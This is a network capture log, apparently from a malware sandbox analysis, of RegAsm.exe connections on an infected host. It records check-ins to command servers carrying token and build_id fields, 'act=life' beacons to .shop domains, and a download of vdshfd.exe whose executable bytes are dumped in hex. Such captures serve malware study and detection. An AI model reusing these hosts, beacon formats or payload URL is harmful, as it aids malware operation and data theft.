2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 98 88 95 12 39 83 a7 08 39 97 43 6f e4 c5 55 c9 0c ee 6f 08 19 a6 1c 65 c7 6d 29 73 ce 02 ed 72 21 15 cd e2 dd e2 9c 1d 77 5d 0b b5 4b f0 4c 7a 79 8f ea ce ad a1 ca 06 94 58 02 a4 1f 36 e1 2d 98 73 71 6a bd f4 07 63 ab 1f 96 1b 4d c4 13 f4 25 24 4b a9 d2 c7 e6 17 17 72 e5 d5 1e a3 0e d8 83 19 46 08 2f 1d 3e ab fa c2 12 5d 84 dc 7b 6c 09 cc e8 57 0e 5d 17 4a 74 68 8e 99 93 6d b8 36 cf 52 54 3f cc d4 16 f9 31 e2 d5 29 06 30 2f 77 35 36 80 9b 23 e9 8e 72 8b 27 d8 75 f3 17 bd b5 0a 3a f9 eb c2 c7 8b 6f 6b 57 42 6e 6e 23 d5 bc 35 5c 6a 30 23 0b 6a df 2e 64 76 54 35 15 e4 c4 83 89 be af 4b 42 64 49 83 02 e3 7c 8c 42 f2 4e 37 10 71 5b db 0e 89 3a 84 ce 84 c5 3f 0f a9 57 b5 f4 db f3 8a 5f e2 60 5b 39 74 d7 61 e3 ff 4f a5 35 fb 5a b7 82 2d 09 3f 88 93 e8 da 4d 87 Data Ascii: 99CoUoem)sr!w]KLzyX6-sqjcM%$KrF/>]{lW]Jthm6RT?1)0/w56#r'u:okWBnn#5\j0#j.dvT5KBdI\|BN7q[:?W_`[9taO5Z-?M
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 1a 06 41 2d 9f a0 a9 d8 6d cc d1 be 4a 46 7b 32 c2 98 39 d3 d1 00 02 a7 6b ed 0f 4a c5 cb d5 af 51 d2 6e 1e ba af 46 9b 31 4f ba ca 45 60 a2 08 f9 79 ba 8a 67 19 f6 40 42 68 83 da b4 cd d5 9b 0c ff eb cf d4 ce ad 88 26 a0 bd 98 31 b7 1d 57 b7 25 74 06 d4 3f 08 e6 6f 1c af 38 03 a4 14 59 43 cd 3b 2f 60 d9 80 c8 27 f3 99 b0 02 9f 3c af e0 8b 97 29 92 eb 29 b3 54 52 30 87 e8 ea 13 5f de 19 aa a5 9c 3b d7 82 b6 49 80 67 76 79 66 ad d2 69 d5 0e 8b ed 00 f7 55 6c ce 7d f3 9a 11 5f 38 06 9d 04 e0 aa 7c b5 48 3d 51 05 fc a3 43 a2 2e 98 99 80 07 3a a3 b8 63 df be 39 64 7e 1e 75 32 03 29 16 79 4c 1b ef 3d eb a1 c7 1f da e7 02 0f f5 71 c9 93 2d 52 50 b1 00 bd 83 25 c3 75 72 8b 38 be 60 ed 71 c8 99 1f 35 00 df 27 b1 b0 d2 ee dc aa e8 16 20 3a 40 45 8d 59 d3 32 9b b8 Data Ascii: A-mJF{29kJQnF1OE`yg@Bh&1W%t?o8YC;/`'<))TR0_;IgvyfiUl}_8\|H=QC.:c9d~u2)yL=q-RP%ur8`q5' :@EY2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	59769	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:29 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:29 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------BAKKEGCAAECAAAKFBGIECont
2024-09-26 17:06:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	59770	188.114.96.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:30 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 17:06:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:30 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v0lgfq7lgkhr4a0908vp84smi9; expires=Mon, 20 Jan 2025 10:53:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NhLAp5zxrB4R5Cp98908AKQxVVrDl%2B9IM%2F63OV82EBUMYOgbStsD32y7gmiMIwQGuicUxJnYmrAylnWMz3bEKIBeFjYyCCT2aIBCXS62mGSmLuAA6fYFhf4YiakH7N0fgerDpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d84a0bf81a24-EWR
2024-09-26 17:06:30 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	59771	104.21.4.136	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:30 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-26 17:06:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:33 UTC	774	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l2hl0p9jb2451tchsvqkmauirm; expires=Mon, 20 Jan 2025 10:53:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KewJthTcQXoWkVPh61pJJLvYUw91szrGt1ChazBibFzmY%2FUFI5XLDDu4j8bcOgmu2fWBQIWZ1LUFiUIsP%2B8%2Bl25SK9uGfh6eKQFAjhSOEJSosV7Qil0tECXb143GlGRIwLG4vA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d84ffa184219-EWR
2024-09-26 17:06:33 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	59772	172.105.54.160	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:31 UTC	170	OUT	GET /vdshfd.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: dbsmena.com Cache-Control: no-cache
2024-09-26 17:06:32 UTC	284	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 26 Sep 2024 16:59:47 GMT ETag: "c09a7-64e28-62308aa791e92" Accept-Ranges: bytes Content-Length: 413224 Content-Type: application/x-msdownload
2024-09-26 17:06:32 UTC	7908	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 91 f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 1e 06 00 00 08 00 00 00 00 00 00 3e 3c 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf>< @@ `
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 46 c1 72 f0 d6 ed 0f 18 93 33 5b 7d 4c d0 50 d8 7f 55 dd d7 45 78 ae 0e 99 f8 ab c9 47 3f 35 24 d7 46 3f 6a f5 e3 6b 58 01 ee 4b 9d c2 64 b9 1e 27 71 2a 57 01 c3 16 b0 0e cb b4 25 a1 49 2d 7c 56 2f 0d 92 0c a3 d4 03 91 59 07 3c 5e 13 03 41 c0 63 02 88 34 e9 48 b1 9b d0 16 c7 2f bd 25 30 cd a9 10 e0 80 a2 50 f7 eb 9f 6e 1d cd 10 a5 fb 19 65 9d 36 2e 59 cb 73 38 db 58 51 12 bd 86 bc c9 2b 2f d9 3a 24 5a 54 68 6e 8c c1 52 72 eb 4e 74 d4 0c fa 9a 8e dc d8 b6 a9 6c 49 87 c6 22 b3 2b 25 76 b5 df 28 59 05 79 55 f7 c4 aa 95 33 47 59 9f 50 a5 7d 0e b3 9b 1b 09 7c 72 cd 03 98 a4 fd c0 5c eb 33 d7 d1 41 ed 15 f2 e8 3d c3 e9 bf 2c f5 bb b3 8b a8 51 a0 58 d5 54 eb c4 b5 54 5c 82 5c e7 d3 99 0f fd f5 d0 36 79 bd 69 a0 39 89 17 7d d7 ca f0 c6 0a c1 be 29 38 2c 83 74 f1 Data Ascii: Fr3[}LPUExG?5$F?jkXKd'q*W%I-\|V/Y<^Ac4H/%0Pne6.Ys8XQ+/:$ZThnRrNtlI"+%v(YyU3GYP}\|r\3A=,QXTT\\6yi9})8,t
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 8e ca 55 d4 6c 46 17 ec 28 f9 d4 58 7a 79 30 10 b3 ad 92 46 c8 9f 1a cf 5a e9 9c dc 1b cb 4c be d7 ec 2f 57 82 fc d3 d0 e2 36 65 9c c3 29 4e 82 97 1e 87 e7 c2 72 e4 ad be 81 2a bd ce ae b4 84 4d 00 fa 49 cc 0b 2b 4e 54 46 cc fb fb f0 9a 00 01 3f c1 69 67 7e 40 0f 19 68 9e 8a 0f 1e 39 a3 e4 0b 1e 32 7e dc ab 11 40 92 0f 12 40 4c d1 bf 04 a2 50 86 d1 dc 96 96 ea c5 ab 19 dd ce 4d 06 16 d9 13 c6 1c 8c 2b 21 ec a0 fd 89 00 48 aa 68 52 fa c0 dc 9e a0 50 a0 dd 34 20 d6 f8 dc 3d e2 c7 df 5b 37 94 8f b0 c3 23 2f 1d 03 94 67 98 37 df ae 1c 34 31 bc 43 15 60 b9 7b c9 c7 76 7d 7e 9c 1b 9d 0c 20 dd e1 d1 7e 39 e0 a8 77 10 77 37 ed f2 16 52 9b 09 89 2c a6 45 6e 49 ed 96 a4 cc 10 eb e4 3d 7a 7d 0c df 60 d6 fa 50 8c 22 87 fc cd f0 9f 0b c8 ca 83 38 d3 1a 2d a6 a6 d1 6a Data Ascii: UlF(Xzy0FZL/W6e)Nr*MI+NTF?ig~@h92~@@LPM+!HhRP4 =[7#/g741C`{v}~ ~9ww7R,EnI=z}`P"8-j
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 00 6b 91 b4 75 c8 49 c4 09 a8 d5 50 79 64 f1 1a 98 ef e5 6a a0 dd a8 69 b8 58 a3 30 04 97 42 88 52 b2 11 03 a0 f7 4f f5 54 e7 f6 bd 2f b4 80 79 a4 0d 51 4f 71 d3 0d d9 2a 55 2e ec 98 1e 7a cf 7e d9 44 64 6a ec 09 5a 68 d6 f3 67 c5 59 9d 03 4b df cc 0b 02 93 9a b9 72 b9 71 78 fa c9 a0 5f f9 39 a1 7e 1c 78 96 a5 31 41 41 08 15 f1 bc 5d 07 3c 49 01 ab 9e 01 8e b9 27 f6 1b 17 2f 21 eb aa e5 2b f3 ce 59 75 e2 1b b8 ab 17 d6 81 69 c1 41 cf 56 0e 75 05 b0 ae 3a 95 ed 54 75 1b 2d 11 7f 25 c2 47 1c 83 2f 81 32 1b 73 12 c6 2a 0c 0f f8 c6 23 4b 9d f3 64 18 71 25 c4 bd 6f f5 c7 cb fa 88 9a 98 12 5a b0 df 0f 12 37 20 74 06 9d 4f f2 25 0b 47 a6 70 b9 e3 21 fd ef 43 0a 8f 47 68 ee 36 01 e5 bb 83 f3 23 07 d7 a6 0b 6a 63 b7 a6 83 88 da e5 d0 95 cc 29 e0 07 23 8e 35 7a 74 Data Ascii: kuIPydjiX0BROT/yQOqU.z~DdjZhgYKrqx_9~x1AA]<I'/!+YuiAVu:Tu-%G/2s#Kdq%oZ7 tO%Gp!CGh6#jc)#5zt
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 8a b4 be 40 a2 e6 0a c1 4e 75 dc 75 e3 bf a9 65 28 ea d2 34 61 c2 d4 f4 33 3e 22 a8 8a 54 28 2c f8 94 28 55 7a c1 f1 1e cb 2c 28 1c fa 61 a7 4d db 59 0b e6 f7 7c 08 c2 f0 70 c3 86 8d 9c 93 76 dc 4e 61 2b 66 6a 2e f9 86 e4 dd bc 00 72 83 b5 77 81 5d 34 cd 97 30 b0 32 dc 82 77 49 c0 9f ae 00 35 bc 48 b1 87 5f 47 32 c4 da ae 15 b2 5a a2 b7 cf 57 f7 77 a8 5d 52 12 d2 04 8a 44 18 64 ee 38 17 0f 58 18 3a a5 b4 ad 3d ee 9a b9 39 35 77 66 75 a3 7d ca e4 7a 2a 08 f3 9a 03 8c 71 63 53 0a e6 16 7c 3d de a0 01 a9 52 3a f9 f3 04 11 3c 00 02 b1 7f b1 6a e4 fb 77 99 b0 22 57 84 21 68 a1 4b d1 c3 16 f1 e4 45 ff 68 1a e8 7c 5d 0c 89 7e 1a b5 25 2e 7e cd 78 b5 c2 4f 92 7e 18 6e 59 0c e5 f3 61 ef 0d 1d 7d 01 72 9c b7 46 0e cf 0e 8c f4 2a 04 3d 10 67 c0 8c b8 b8 a2 bf 21 4f Data Ascii: @Nuue(4a3>"T(,(Uz,(aMY\|pvNa+fj.rw]402wI5H_G2ZWw]RDd8X:=95wfu}zqcS\|=R:<jw"W!hKEh\|]~%.~xO~nYa}rF=g!O
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 5f ad 55 5b 51 b6 d6 62 08 46 00 cf 4a 07 f1 17 26 96 65 e9 82 cf bb 72 06 3c 4d ee fc 9c 96 b7 a7 6f a8 d6 0f f5 ed 8a d8 9e 8c ac 37 bd 38 a7 a1 7d 9f 3f 24 78 8a 94 82 90 9a f1 fb aa 1a 34 12 32 8c 32 ac ad 6a 78 85 38 5f 3c e0 a9 21 ab 45 19 79 02 78 1e 08 68 a6 f6 f9 03 a3 e7 26 56 ed ca 36 b1 4d a4 92 82 2a 9f 54 8f af ae 07 27 b6 94 90 72 fd a9 a2 1e ca 09 78 7d a9 ec 77 7b 60 a9 e0 ab 7b 80 88 bc 3e ae e4 6e 86 57 67 c4 f7 b7 e9 6f dd 68 99 7d bd 9d 63 18 6b f9 97 e8 96 21 3a 54 69 44 6f c1 46 07 dd f0 4c ae 15 1f b7 4e 7d c6 f6 c5 15 62 9a 65 1b 88 e1 ff 9b 93 5c c0 27 92 55 a1 91 32 01 1e 27 1d 77 9a 48 0b 73 0e 70 21 1a 04 65 7b 59 21 ec bb 3b 76 16 0a 04 4c 1e 1d 8e 4f 00 f3 61 46 25 10 12 81 8e 05 cd 26 a2 58 06 93 e2 d2 95 b9 94 06 29 a4 de Data Ascii: _U[QbFJ&er<Mo78}?$x422jx8_<!Eyxh&V6M*T'rx}w{`{>nWgoh}ck!:TiDoFLN}be\'U2'wHsp!e{Y!;vLOaF%&X)
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 12 d1 2e 62 96 eb 74 ce 56 66 4f 59 d8 c5 6c 94 a7 de 90 40 25 89 49 a2 f7 3c 6a 3b f2 35 30 a1 9a 12 80 6a a4 87 27 8d 79 47 09 aa 90 d9 89 1b 81 67 75 c4 1e 65 a0 00 38 04 75 28 f4 b7 b7 dd cc 17 3e 03 a9 de 11 ae eb 62 c0 a4 e7 77 50 ee d4 a0 2a 14 89 67 b1 02 2a 5b e2 cf 9c 4f d3 18 fc b9 d1 f8 0e 44 db 7d d2 94 af d5 99 5e 66 8f b0 c8 b2 e1 5f 88 4a 83 6c 6a 20 22 58 ee 60 43 45 97 46 ad e0 82 64 f2 70 f7 a1 9f fb 68 82 c3 cb 27 2b 28 d2 b1 68 d4 d6 97 75 50 a4 b9 f0 d0 5e 7e 1d 19 56 68 c7 f3 bf f4 a9 e5 a3 ce e8 ca 57 69 61 83 56 11 27 cf 80 e1 5e 4c 9a 36 c6 4a 04 e3 0f 63 18 b5 a8 a4 5b 13 a4 ea d5 56 1e 68 84 e4 db ac 92 07 60 f8 47 20 34 da d5 f1 ae d7 05 c5 ab 8c dc 11 f8 9b f8 b5 76 b8 eb 03 63 dd 19 4c 9d 46 e2 61 f6 8e 17 2c 0c 7e 3f 97 4b Data Ascii: .btVfOYl@%I<j;50j'yGgue8u(>bwPg[OD}^f_Jlj "X`CEFdph'+(huP^~VhWiaV'^L6Jc[Vh`G 4vcLFa,~?K
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: a1 00 c3 90 15 dc a8 68 99 43 79 c1 d5 4d 47 15 f3 ef b2 15 c2 1a cc ee 9c 3a 03 6e 5e ae d7 96 48 99 8a 68 97 c5 0f e5 76 e0 54 8f 96 f3 e9 86 df fb ab 55 aa 23 ce ea c2 db 04 26 9a 52 da b7 85 c7 b9 85 24 34 be fe ff 90 8f 64 ca e4 4e ce 9c ab 4c d0 3b 18 c2 90 69 fb 9d 48 41 33 2b 85 03 c4 42 b8 fe dd df 5c 62 cc ec a7 38 ce cb 89 08 62 35 6f c8 4b 97 11 a1 a3 e8 f7 3f 18 6c 08 e3 67 28 78 cf 37 c6 8f 7d eb 11 a3 bf 14 e6 de e6 bf 70 4c cf 90 b2 f8 a2 79 72 91 26 fb 50 bd 10 6c be 74 98 33 24 b6 86 e5 45 2d d2 55 ca 5d 1c d8 fa a3 0b 33 54 a0 8b 72 3f 09 bc 19 7b de 1b 17 f4 0a 80 2e f7 20 b6 8e 28 41 d4 43 2f 61 e8 af e3 cf 08 41 66 21 90 eb f2 9b d7 9c 13 d5 35 95 7b b0 12 4b ae 23 ac 13 42 87 77 8a 9d 94 63 45 2e 4e d8 6a de 3b dc bb 91 c1 fb 5a 20 Data Ascii: hCyMG:n^HhvTU#&R$4dNL;iHA3+B\b8b5oK?lg(x7}pLyr&Plt3$E-U]3Tr?{. (AC/aAf!5{K#BwcE.Nj;Z
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 99 73 07 ba 05 53 0a 2e 8e ce 74 09 14 aa 3e 5d 9e e9 dd 64 05 b6 14 43 94 83 8f 1f 4d ca 52 ba 85 36 ab af 17 a7 76 75 d8 c3 12 21 29 fd d1 ce 6b 0f ca 78 93 32 72 fa 82 7e 71 e5 24 25 c6 54 c7 ce 9e 61 ad 3c 55 98 fd 12 c0 4d f8 e4 5c eb c8 f6 36 f6 0a 13 51 5d 4d 0c cd 86 11 06 16 3c b5 a3 b0 86 1c 5e f1 e7 e1 0e 2a b3 53 41 4a d2 52 4e 21 b2 7a 93 20 b7 ae f8 c2 00 c0 07 11 b6 b5 8d 98 bb 03 f0 f6 a3 95 63 3c 3c 17 9a 74 2f d0 af cd d0 dd 22 01 64 38 8e ee eb 53 e4 77 9a 0a 0d b2 93 4e 29 62 80 39 ed 62 cc 14 f3 f6 b2 19 21 60 df f0 66 33 30 09 c7 bc 65 fa 96 dd e5 7b 6e 1c 60 b8 3b 70 3e 0e 07 0f b9 bf 8d bc 8f 88 b3 58 b0 71 9e 80 42 0b e8 8a fd 9a 80 db b9 d8 e9 6a d6 91 8f 0a f1 ca bc 70 7e 67 36 86 f5 a8 ac db f3 ab 7a b7 ee 5d fe 8c c4 01 8f 63 Data Ascii: sS.t>]dCMR6vu!)kx2r~q$%Ta<UM\6Q]M<^*SAJRN!z c<<t/"d8SwN)b9b!`f30e{n`;p>XqBjp~g6z]c
2024-09-26 17:06:32 UTC	8000	IN	Data Raw: 82 9c 92 0b 46 c8 04 70 76 13 9b 87 42 0f ae 6d 7a c3 d0 76 5d bc b0 ff 48 db bf 3e fc 06 2e b8 bd d7 2e 37 77 1c bb 33 5d 8d 3b f0 bf 65 5f 83 c1 77 86 3d ad 8a 0a 11 9b 49 1f 6d d3 f9 d2 c3 2e e1 b7 e8 4e ce ea b1 2f 5e a7 70 20 8a e2 df 18 7e 39 b7 b7 5b 71 e4 ca 40 07 3d 72 f9 e4 f7 25 a2 4e 98 96 47 59 4b 96 b3 84 1a 48 c8 8a 10 81 29 1c 91 ff 8f f6 55 73 98 3d 66 fb 39 db 5d 21 7a f3 64 08 3e 22 28 17 0f b7 f9 4c dd 80 02 98 f7 48 a8 94 62 60 f7 32 41 83 1a e4 00 24 f8 90 bf bd 63 e7 47 75 7e 13 f3 58 7a 36 e8 68 24 0e 4a e7 13 e8 23 ce 89 fe 2b 02 1c 26 87 47 80 c4 2e 1f 43 be 6f f8 1f a8 62 49 a0 c9 de 42 6e dd 1a a4 42 7a eb 9f 6e 5b c9 09 12 ed 5b ee 9a c7 45 64 14 51 98 e0 f8 d7 bb de 72 cb da 54 bb a0 ef d7 e0 52 85 2b 84 cb 22 72 85 53 3f 1e Data Ascii: FpvBmzv]H>..7w3];e_w=Im.N/^p ~9[q@=r%NGYKH)Us=f9]!zd>"(LHb`2A$cGu~Xz6h$J#+&G.CobIBnBzn[[EdQrTR+"rS?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	59773	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:34 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:34 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------AFIEGIECGCBKFIEBGCAACont
2024-09-26 17:06:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	59774	188.114.96.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:34 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 17:06:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:34 UTC	774	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1sdq5mlt3e5sb4nm6lrmtpgap5; expires=Mon, 20 Jan 2025 10:53:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nia7CHIw2gWBVbj8a6RpOsLFdcdJfMNXGa0M248Hue1aVu4u25%2FSDUNAqTykhqDa65gK%2FpnUu8O7ZLT%2BFcV9A67ETy3F3FY25krtq0VgmPeAUqvTJoNSrxSzCdRAi7PWzYcIHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d8657e6b424a-EWR
2024-09-26 17:06:34 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	59775	188.114.97.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
